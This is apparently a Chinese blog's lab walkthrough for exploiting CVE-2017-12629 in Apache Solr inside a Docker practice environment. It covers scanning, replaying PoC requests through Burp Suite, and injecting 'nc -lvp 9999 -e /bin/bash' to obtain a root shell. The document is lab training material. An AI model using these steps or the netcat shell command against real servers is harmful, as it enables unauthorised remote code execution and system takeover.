网络安全—综合渗透测试-CVE-2017-12629-Apache Solr远程代码执行

简介

Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。此次7.1.0之前版本总共爆出两个漏洞:XML实体扩展漏洞(XXE)和远程命令执行漏洞(RCE),二者可以连接成利用链,编号均为CVE-2017-12629。

影响范围

Apache Solr < 7.1
Apache Lucene < 7.1(很多组件都用到这个,比如ES)

综合渗透测试-CVE-2017-12629-Apache Solr远程代码执行 

第一步,打开网络拓扑,启动实验虚拟机,分别查看虚拟机IP地址:

Kali Linux

网络安全—综合渗透测试-CVE-2017-12629-Apache Solr远程代码执行_第1张图片

Ubuntu Linux 2

网络安全—综合渗透测试-CVE-2017-12629-Apache Solr远程代码执行_第2张图片

第二步,进入Ubuntu Linux 2靶机控制台,打开终端,根据提示启动虚拟环境:

1)使用“su root”命令,切换至root用户

网络安全—综合渗透测试-CVE-2017-12629-Apache Solr远程代码执行_第3张图片

2)使用“cd /home/yun/cve-2017-12629-apache_solr”命令进入本次实验的根目录,通过ls命令查看文件

网络安全—综合渗透测试-CVE-2017-12629-Apache Solr远程代码执行_第4张图片

3)启动虚拟靶机环境:

docker-compose up –d

网络安全—综合渗透测试-CVE-2017-12629-Apache Solr远程代码执行_第5张图片

4)使用docker ps命令查看正在运行的虚拟靶机环境

网络安全—综合渗透测试-CVE-2017-12629-Apache Solr远程代码执行_第6张图片

5)分别使用以下命令启动环境:

./start.sh

cd /etc/init.d/ && ./start.sh

6)使用“exit”命令离开靶机环境,回到物理服务器

网络安全—综合渗透测试-CVE-2017-12629-Apache Solr远程代码执行_第7张图片

7)打开新的终端窗口,查看IP地址:

ifconfig ens3

网络安全—综合渗透测试-CVE-2017-12629-Apache Solr远程代码执行_第8张图片

第三步,在Kali Linux中扫描靶机服务器:

nmap –sS 172.16.1.200(靶机IP地址)

网络安全—综合渗透测试-CVE-2017-12629-Apache Solr远程代码执行_第9张图片

分析扫描结果:22端口是靶机服务器的SSH服务,9999端口是Docker靶机环境占用的,但是并没有扫描出另一个被Docker靶机环境占用的8983端口。

第四步,Solr服务默认侦听8983端口,使用nc尝试连接靶机的8983端口:

nc 172.16.1.200 8983

nc没有立即返回Connection refused(连接失败),而是一直在等待,说明靶机的8983端口处于开放状态。

第五步,使用浏览器访问地址:

http://172.16.1.200:8983

网络安全—综合渗透测试-CVE-2017-12629-Apache Solr远程代码执行_第10张图片

确保页面可以正常访问。

第六步,设置浏览器代理

网络安全—综合渗透测试-CVE-2017-12629-Apache Solr远程代码执行_第11张图片

第七步,设置Burpsuite代理,关闭拦截功能,直接通过数据包

网络安全—综合渗透测试-CVE-2017-12629-Apache Solr远程代码执行_第12张图片

网络安全—综合渗透测试-CVE-2017-12629-Apache Solr远程代码执行_第13张图片

第八步,刷新页面,在Burpsuite中查看数据包

网络安全—综合渗透测试-CVE-2017-12629-Apache Solr远程代码执行_第14张图片

第九步,访问Apache Solr的主页,创建一个新的核心:

因为这是一个全新的环境,没有核心,所以必须先创建一个才能用来触发漏洞

网络安全—综合渗透测试-CVE-2017-12629-Apache Solr远程代码执行_第15张图片

新的核心已经创建成功

网络安全—综合渗透测试-CVE-2017-12629-Apache Solr远程代码执行_第16张图片

第十步,打开文件管理器,依次打开Home/solr目录

网络安全—综合渗透测试-CVE-2017-12629-Apache Solr远程代码执行_第17张图片

双击打开poc_create.txt

网络安全—综合渗透测试-CVE-2017-12629-Apache Solr远程代码执行_第18张图片

第十一步,切换至Burpsuite,进入Repeater模块:

1)将刚才查看的poc_create.txt文件中的内容复制到Repeater模块,然后修改主机的IP地址为靶机服务器的地址和端口,然后修改执行命令:

Host: 172.16.1.200:8983

touch /tmp/success

网络安全—综合渗透测试-CVE-2017-12629-Apache Solr远程代码执行_第19张图片

2)点击“Go”按钮,填入靶机服务器的IP和端口:

Host:172.16.1.200

Port:8983

网络安全—综合渗透测试-CVE-2017-12629-Apache Solr远程代码执行_第20张图片

3)保存后,再次点击“Go”按钮

网络安全—综合渗透测试-CVE-2017-12629-Apache Solr远程代码执行_第21张图片

4)服务器的返回信息在右侧显示

网络安全—综合渗透测试-CVE-2017-12629-Apache Solr远程代码执行_第22张图片

第十二步,打开文件管理器,进入Home/solr目录,打开poc_update.txt

网络安全—综合渗透测试-CVE-2017-12629-Apache Solr远程代码执行_第23张图片

1)将poc_update.txt文件中的内容复制到Repeater模块,修改主机的IP地址为靶机Solr服务器的IP地址和端口

网络安全—综合渗透测试-CVE-2017-12629-Apache Solr远程代码执行_第24张图片

2)服务端返回结果

网络安全—综合渗透测试-CVE-2017-12629-Apache Solr远程代码执行_第25张图片

成功执行“touch /tmp/success”命令,在“/temp”目录下创建了一个名为“success”的空文件。

第十三步,切换至Ubuntu 16靶机控制台,验证漏洞是否利用成功:

使用docker exec –it $(docker ps -q) /bin/bash命令进入靶机环境,使用ls /tmp命令查看tmp目录下的文件,success文件已被创建

网络安全—综合渗透测试-CVE-2017-12629-Apache Solr远程代码执行_第26张图片

第十四步,切换至Kali Linux渗透机,打开Burpsuite。修改数据包,添加Payload,重新生成并发送数据包:

1)将poc_create.txt内容粘贴,替换args部分,并将Host修改为靶机IP地址:8983。使用nc –lvp 9999 –e /bin/bash命令监听端口并且反弹Shell,点击“Go”发送

网络安全—综合渗透测试-CVE-2017-12629-Apache Solr远程代码执行_第27张图片

2)将poc_update.txt文件中的内容复制到Repeater模块,修改主机的IP地址为靶机Solr服务器的地址和端口

网络安全—综合渗透测试-CVE-2017-12629-Apache Solr远程代码执行_第28张图片

第十五步,启动终端,连接靶机反弹的Shell:

nc 172.16.1.200 9999

pwd

ls

id

网络安全—综合渗透测试-CVE-2017-12629-Apache Solr远程代码执行_第29张图片

1、使用pwd命令查看当前所在的目录;

2、使用ls命令查看当前目录下的文件;

3、使用id命令查看当前的用户,结果显示成功获得了root最高权限。

你可能感兴趣的:(综合渗透测试,solr,lucene,python,数据分析,apache)